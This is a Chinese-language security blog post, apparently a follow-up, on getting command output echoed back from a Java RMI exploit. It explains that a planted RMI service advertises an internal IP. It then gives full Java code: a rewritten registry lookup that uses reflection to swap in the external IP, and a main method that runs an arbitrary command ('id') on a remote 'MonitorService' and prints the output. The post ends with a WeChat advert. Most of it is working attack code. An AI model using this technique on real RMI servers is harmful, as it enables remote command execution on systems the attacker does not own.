之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。
分析
在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。
这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是 本机 的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。

从nmap的扫描结果也能看出这个问题。
虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。
sun.rmi.registry.RegistryImpl_Stub#lookup
接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。

最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。
publicclassRMIClientextendsRemoteObject{privatestaticfinal Operation[] operations =newOperation[]{newOperation("void bind(java.lang.String, java.rmi.Remote)"),newOperation("java.lang.String list()[]"),newOperation("java.rmi.Remote lookup(java.lang.String)"),newOperation("void rebind(java.lang.String, java.rmi.Remote)"),newOperation("void unbind(java.lang.String)")};privateRemoteRefref=null;privateString ip =null;publicRemotelookup(String var1) throws AccessException, NotBoundException, RemoteException{try{ StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations,2,4905912898345647071L);try{ ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); }catch(IOException var15) {thrownewMarshalException("error marshalling arguments", var15); }this.ref.invoke(var2); Remote var20;try{ ObjectInput var4 = var2.getInputStream(); var20 = (Remote)var4.readObject(); Field f = var2.getClass().getDeclaredField("in"); f.setAccessible(true); Object conn = f.get(var2); f = conn.getClass().getDeclaredField("incomingRefTable"); f.setAccessible(true); HashMap rets = (HashMap) f.get(conn); Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next(); f = entry.getKey().getClass().getDeclaredField("host"); f.setAccessible(true); f.set(entry.getKey(),this.ip); }catch(IOException | ClassNotFoundException | ClassCastException var13) {// var2.discardPendingRefs();thrownewUnmarshalException("error unmarshalling return", var13); }finally{this.ref.done(var2); }returnvar20; }catch(RuntimeException var16) {throwvar16; }catch(RemoteException var17) {throwvar17; }catch(NotBoundException var18) {throwvar18; }catch(Exception var19) {thrownewUnexpectedException("undeclared checked exception", var19); } }publicstaticvoidmain(String[] args) throws Exception{ String command ="id"; String ip ="ip"; Registry registry = LocateRegistry.getRegistry(ip, port);// for(String x:registry.list()){// System.out.println(x);// }Subject subject =newSubject(); Field f = subject.getClass().getDeclaredField("principals"); f.setAccessible(true); Setset=newHashSet(); UnixPrincipal unixPrincipal =newUnixPrincipal(command);set.add(unixPrincipal); f.set(subject,set); f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref"); f.setAccessible(true); RMIClient r =newRMIClient(); r.ref= (RemoteRef) f.get(registry); r.ip = ip; System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject)); }}

使用原生lookup时,建立连接失败导致无法回显命令结果。

使用修改后的lookup方法成功回显。如果看完的小伙伴有兴趣了解更多的话,欢迎添加vx小助手:ON7luck 详细了解~
网友评论